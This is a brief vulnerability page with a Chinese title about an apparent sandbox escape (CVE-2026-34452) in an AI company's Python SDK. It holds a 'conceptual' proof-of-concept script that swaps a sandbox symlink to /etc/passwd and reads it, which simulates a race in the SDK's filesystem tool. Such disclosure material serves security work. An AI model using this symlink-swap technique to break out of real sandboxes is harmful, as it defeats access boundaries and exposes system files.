CVE-2026-34452 Anthropic Python SDK沙箱逃逸漏洞

import os import time # Conceptual PoC for CVE-2026-34452 (TOCTOU in Async Filesystem Tool) # This script simulates the race condition where an attacker swaps a symlink. # Path to the sandboxed memory directory SANDBOX_DIR = "/tmp/anthropic_sandbox" # Target file inside sandbox (initially) SAFE_FILE = os.path.join(SANDBOX_DIR, "safe_data.txt") # Target file outside sandbox (final target) SENSITIVE_FILE = "/etc/passwd" # The symlink the SDK will interact with SYMLINK_PATH = os.path.join(SANDBOX_DIR, "model_link") def setup(): os.makedirs(SANDBOX_DIR, exist_ok=True) with open(SAFE_FILE, 'w') as f: f.write("This is safe data.") # Create symlink pointing inside sandbox os.symlink(SAFE_FILE, SYMLINK_PATH) print(f"[+] Setup: Created symlink {SYMLINK_PATH} -> {SAFE_FILE}") def simulate_exploit(): print("[+] Starting exploit simulation...") # 1. Attacker waits for the SDK to trigger validation (Check phase) # In a real scenario, this would be concurrent with the SDK's async operation print("[+] Waiting for SDK validation (Check phase)...") # Assume SDK checks the path now and sees it points to SAFE_FILE # 2. Race Condition Window: Swap the symlink before Use phase print("[!] Swapping symlink to point outside sandbox...") os.remove(SYMLINK_PATH) os.symlink(SENSITIVE_FILE, SYMLINK_PATH) print(f"[+] Symlink now points to: {SENSITIVE_FILE}") # 3. SDK performs read/write operation (Use phase) using the unresolved path # Because the path was unresolved in SDK, it re-resolves here to SENSITIVE_FILE with open(SYMLINK_PATH, 'r') as f: content = f.read() print(f"[!] Successfully read data from outside sandbox: {content[:50]}...") if __name__ == "__main__": setup() simulate_exploit() # Cleanup os.remove(SYMLINK_PATH)